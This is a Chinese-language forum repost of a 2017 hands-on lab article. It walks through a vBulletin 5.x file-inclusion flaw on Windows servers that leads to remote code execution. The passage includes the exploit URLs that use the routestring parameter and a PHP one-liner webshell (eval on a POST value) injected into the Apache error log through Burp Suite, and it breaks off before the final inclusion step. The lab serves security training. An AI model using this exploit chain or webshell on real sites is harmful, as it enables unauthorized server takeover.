搜索

[19196] 2017-12-29_【动手实验】vBulletin5.x漏洞危害有多大？

文档创建者：s7ckTeam
浏览次数：16
最后更新：2025-01-18
2017-12-29_【动手实验】vBulletin5.x漏洞危害有多大？ 【 动 手 实 验 】 v B u l l e t i n   5 . x   漏 洞 危 害 有 多 大 ？ i 春 秋   2 0 1 7 - 1 2 - 2 9 v B u l l e t i n   是 一 个 强 大 ， 灵 活 并 可 完 全 根 据 自 己 的 需 要 定 制 的 论 坛 程 序 套 件 。 它 使 用 目 前 发 展 速 度 最 快 的   W e b   脚 本 语 言 编 写 :   P H P ， 并 且 基 于 以 高 效 和 疾 速 著 称 的 数 据 库 引 擎   M y S Q L 。 v B u l l e t i n 中 存 在 一 个 文 件 包 含 问 题 ， 可 使 恶 意 访 问 者 包 含 来 自   v B u l l e t i n   服 务 器 的 文 件 并 且 执 行 任 意   P H P   代 码 。 未 经 验 证 的 恶 意 访 问 者 可 通 过 向 i n d e x . p h p 发 出 包 含   r o u t e s t r i n g = 参 数 的 G E T   请 求 ， 从 而 触 发 文 件 包 含 漏 洞 ， 最 终 导 致 远 程 代 码 执 行 漏 洞 。 远 程 执 行 代 码 漏 洞 会 使 得 对 方 在 用 户 运 行 应 用 程 序 时 执 行 恶 意 程 序 ， 并 控 制 这 个 受 影 响 的 系 统 。 对 方 一 旦 访 问 该 系 统 后 ， 它 会 试 图 提 升 其 权 限 。 为 避 免 计 算 机 出 现 远 程 执 行 代 码 漏 洞 ， 最 好 的 办 法 是 修 复 堆 放 获 取 访 问 权 限 的 漏 洞 。 v B u l l e t i n 远 程 代 码 执 行 漏 洞 影 响 了 各 大 网 站 ， 此 漏 洞 都 得 危 害 到 底 有 多 大 ？ 我 们 又 该 如 何 验 证 该 漏 洞 呢 ？ 让 让 我 们 参 与 到 本 周 的 实 验 中 来 吧 ！ 实 验 环 境 实 验 环 境 操 作 机 ： W i n d o w s   X P
I P ： 1 7 2 . 1 6 . 1 1 . 2 目 标 网 址 ： h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 / v b 5 / i n d e x . p h p 实 验 目 的 实 验 目 的 了 解 v B u l l e t i n 漏 洞 的 危 害 掌 握 v B u l l e t i n 漏 洞 的 验 证 学 习 漏 洞 的 后 续 利 用 方 法 实 验 工 具 实 验 工 具 B u r p   s u i t e :   B u r p   S u i t e   是 用 于 测 试 w e b   应 用 程 序 的 集 成 平 台 , 本 实 验 主 要 使 用 其 抓 包 、 改 包 、 发 包 功 能 实 验 内 容 实 验 内 容 漏 洞 原 理 漏 洞 原 理 i n d e x . p h p 页 面 发 送 G E T 请 求 去 使 用 r o u t e s t r i n g 参 数 包 含 本 地 文 件 时 ， 层 层 调 用 功 能 函 数 对 r o u t e s t r i n g 的 值 进 行 过 滤 ， 我 们 来 看 主 要 的 处 理 代 码 。 该 代 码 位 于 / i n c l u d e s / v b 5 / f r o n t e n d / r o u t i n g . p h p 文 件 i f     ( s t r l e n ( $ p a t h )     >     2     )                         {                                 $ e x t   =   s t r t o l o w e r ( s u b s t r ( $ p a t h ,     - 4 ) )     ;                             i f ( ( $ e x t   = =   ' . g i f ' )   O R   ( $ e x t   = =   ' . p n g ' ) O R ( $ e x t   = =   ' . j p g ' )     O R   ( $ e x t = =   ' . c s s ' )   O R   ( s t r t o l o w e r ( s u b s t r ( $ p a t h , - 3 ) )   = =   ' . j s ' ) )                     {                                 h e a d e r ( " H T T P / 1 . 0   4 0 4   N o t   F o u n d " ) ;                         d i e ( ' ' ) ;                     }         } 这 段 代 码 判 断 r o u t e s t r i n g 获 取 的 值 是 否 以 . g i f ,   . p n g ,   . j p g ,   . c s s   o r   . j s 结 尾 ， 如 果 是 则 头 部 信 息 返 回 4 0 4 i f     ( s t r p o s ( $ p a t h ,     ' / ' )     = = =     f a l s e )                           {                                 $ t h i s - > c o n t r o l l e r     =     ' r e l a y ' ;                             $ t h i s - > a c t i o n     =     ' l e g a c y ' ;                             $ t h i s - > t e m p l a t e     =     ' ' ;                           $ t h i s - > a r g u m e n t s     =     a r r a y ( $ p a t h ) ;                             $ t h i s - > q u e r y P a r a m e t e r s     =     a r r a y ( ) ;                             r e t u r n ;                     } 这 段 代 码 中 s t r p o s ( ) 函 数 返 回 / 字 符 在 $ p a t h 中 第 一 次 出 现 的 位 置 ， 若 返 回 信 息 为 f a l s e 才 会 继 续 处 理 ， 也 就 是 说 路 径 中 不 能 出 现 / 。 对 于 L i n u x 服 务 器 ， 处 理 U R L 时 ， / 表 示 目 录 层 的 分 隔 、 表 示 符 ， 所 以 此 处 无 法 以 多 个 . . / 的 方 式 包 含 网 站 中 的 其 他 文 件 。 但 是 对 于 W i n d o w s 服 务 器 ， / 和 在 表 达 路 径 时 ， 是 等 价 的 ， 而 程 序 并 没 有 对 进 行 处 理 ， 所 以 导 致 本 次 针 对 W i n d o w s 服 务 器 的 文 件 包 含 漏 洞 。 影 响 版 本 影 响 版 本 版 本 号   v B u l l e t i n   v 5 . x 版 本   漏 洞 发 现 者 已 联 系 厂 商 ， 暂 未 得 到 回 复 本 实 验 仅 做 安 全 漏 洞 研 究 ， 请 勿 对 未 授 权 网 站 进 行 恶 意 破 坏 ！ ！ 本 实 验 仅 做 安 全 漏 洞 研 究 ， 请 勿 对 未 授 权 网 站 进 行 恶 意 破 坏 ！ ！ 实 验 步 骤 实 验 步 骤 接 下 来 的 实 操 部 分 ， 我 们 将 逐 步 深 入 漏 洞 的 理 解 和 利 用 ， 先 利 用 页 面 报 错 ， 获 取 服 务 器 相 关 信 息 ； 再 包 含 服 务 器 内 部 文 件 ， 执 行 p h p i n f o ( ) 验 证 代 码 执 行 ； 最 后 包 含 写 入 P H P 一 句 话 的 网 站 日 志 文 件 ， 获 取 网 站 管 理 权 限 。 步 骤 步 骤 1   漏 洞 验 证 漏 洞 验 证 这 一 步 ， 我 们 简 单 利 用 报 错 获 取 服 务 器 信 息 ， 然 后 利 用 漏 洞 去 包 含 执 行 p h p i n f o ( ) 函 数 进 行 验 证 打 开 目 标 网 址 1 7 2 . 1 6 . 1 2 . 2 / v b 5 / i n d e x . p h p , 网 站 主 页 如 下 ：
访 问 漏 洞 页 面 ， 查 看 报 错 信 息 在 浏 览 器 中 打 开 1 7 2 . 1 6 . 1 2 . 2 / v b 5 / i n d e x . p h p ? r o u t e s t r i n g = . , 报 错 信 息 如 下 ： 可 以 看 见 页 面 使 用 r e q u i r e _ o n c e ( ) 包 含 当 前 路 径 ( C : p h p s t u d y W W W v b 5 / c o r e / . ) 时 不 被 允 许 而 报 错 ， 报 错 信 息 泄 露 了 网 站 的 绝 对 路 径 ， 以 及 网 站 搭 建 软 件 ： p h p s t u d y p h p s t u d y   搭 建 网 站 时 ， 默 认 会 在 网 站 根 目 录 留 下   l . p h p 和 p h p i n f o . p h p 文 件 ， 通 常 网 站 管 理 员 会 删 除 或 者 修 改 这 两 个 文 件 因 为   还 有 转 义 的 含 义 ， 而 表 示 路 径 时 和 是 等 价 的 ， 所 以 我 们 使 用 防 止 被 转 义 （ 本 实 验 也 可 完 成 ） 访 问   p h p i n f o . t x t 文 件 此 处 为 了 验 证 包 含 漏 洞 ， 网 站 根 目 录 下 存 有 p h p i n f o . t x t 文 件 ， 内 容 为 < ? p h p   p h p i n f o ( ) ; ? > , 我 们 尝 试 直 接 访 问 该 文 件 ， h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 / p h p i n f o . t x t
网 站 直 接 将 文 本 内 容 显 示 出 来 了 包 含   p h p i n f o . t x t 文 件 我 们 接 着 尝 试 包 含 该 文 件 , 打 开 构 造 的 链 接 h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 / v b 5 / i n d e x . p h p ? r o u t e s t r i n g = . . . . . . . . . . . . p h p s t u d y W W W p h p i n f o . t x t 此 处 我 们 已 知 晓 网 站 在 服 务 器 上 的 绝 对 路 径 ， 所 以 使 用 多 个 . . 加 上 文 件 路 径 ， 表 示 被 包 含 文 件 的 网 站 路 径 ， 包 含 该 文 件 后 ， 服 务 器 将 文 件 当 做 p h p 文 件 进 行 解 析 ， 执 行 了 p h p i n f o ( ) 函 数 。 p h p i n f o ( ) : P H P 内 置 函 数 ， 输 出 P H P 服 务 器 的 配 置 信 息 。 步 骤 步 骤 2   漏 洞 利 用 漏 洞 利 用 一 般 情 况 下 ， P H P 文 件 包 含 漏 洞 利 用 的 方 式 都 是 先 利 用 网 站 上 传 点 ， 上 传 含 有 恶 意 代 码 的 文 件 ， 然 后 找 到 上 传 后 的 文 件 路 径 ， 构 造 U R L ， 通 过 包 含 漏 洞 执 行 恶 意 代 码 。 但 是 ， 如 果 网 站 本 身 无 可 利 用 的 上 传 点 ， 或 者 对 上 传 的 文 件 做 了 限 制 ， 使 得 我 们 无 法 获 知 文 件 的 路 径 ， 亦 或 者 对 输 入 时 获 取 的 参 数 做 出 过 滤 ， 这 种 方 法 就 行 不 通 了 。 由 上 述 可 知 ， 程 序 对 包 含 的 文 件 后 缀 做 出 了 限 制 ， 在 没 有 其 他 利 用 的 情 况 下 ， 我 们 可 以 选 择 包 含 网 站 本 身 存 在 文 件 的 方 式 ， 也
就 是 本 次 实 验 的 利 用 方 式 ： 包 含 网 站 日 志 文 件 本 次 包 含 的 是 A p a c h e 的 错 误 访 问 日 志 （ e r r o r . l o g ） , 这 个 日 志 文 件 在 p h p s t u d y 中 的 路 径 为 :   p h p s t u d y a p a c h e l o g s e r r o r . l o g 。 将 一 句 话 写 入 日 志 记 录 首 先 ， 我 们 构 造 一 个 会 报 错 的 访 问 链 接 ， 将 利 用 代 码 （ P H P 一 句 话 ） 写 入 错 误 日 志 记 录 中 。 h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 / v b 5 / i n d e x . p h p < ? p h p   @ e v a l ( $ _ P O S T [ c ] ) ; ? > 这 个 链 接 直 接 访 问 的 话 ， 一 句 话 会 被 编 码 成 % 3 C ? p h p % 2 0 @ e v a l ( $ _ P O S T [ c ] ) ; ? % 3 E ， 所 以 需 要 使 用 B u r p   s u i t e 改 一 下 包 。 使 用 E v e r y t h i n g 搜 索 B u r p L o a d e r . j a r ， 双 击 打 开 工 具 B u r p   s u i t e 。 配 置 浏 览 器 的 代 理 设 置 ： 打 开 桌 面 的 c h r o m e 浏 览 器 ， 访 问 c h r o m e : / / s e t t i n g s 或 者 点 击 浏 览 器 右 侧 的 自 定 义 按 钮 - - 》 设 置 ， 进 入 设 置 界 面
点 击 下 方 的 显 示 高 级 设 置 , 找 到 更 改 代 理 服 务 器 设 置 按 钮 并 打 开 ， 在 弹 出 的 设 置 中 选 择 局 域 网 设 置
具 体 配 置 如 下 图 ， 修 改 后 确 定
配 置 完 代 理 后 ， 在 浏 览 器 中 访 问 上 述 构 造 的 链 接 ， B u r p s u i t e 接 受 到 数 据 包 会 自 动 截 获 ， 打 开 B u r p s u i t e - - 》 p r o x y - - 》 I n t e r c e p t ， 在 下 方 文 本 框 中 ， 右 击 并 选 择 S e n d   t o   R e p e a t e r ， 随 后 点 击 R e p e t e r 功 能 按 钮 ， 对 所 截 获 的 包 进 行 修 改 。
我 们 将 被 编 码 的 链 接 改 回 编 码 之 前 的 状 态 ， 修 改 后 的 内 容 如 下 ：
点 击   G o 按 钮 发 送 ， 返 回 4 0 3 报 错 ， 服 务 器 错 误 日 志 文 件 成 功 将 此 次 记 录 到 e r r o r . l o g 中 我 们 已 经 成 功 的 将 利 用 代 码 写 入 日 志 中 了 注 意 利 用 代 码 的 正 确 性 ， 如 果 写 入 错 误 的 代 码 可 能 会 导 致 后 续 包 含 时 ， 代 码 不 能 成 功 执 行 现 在 ， 将 B u r p s u i t e 关 闭 ， 并 按 照 上 述 设 置 浏 览 器 代 理 的 方 法 关 闭 代 理
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理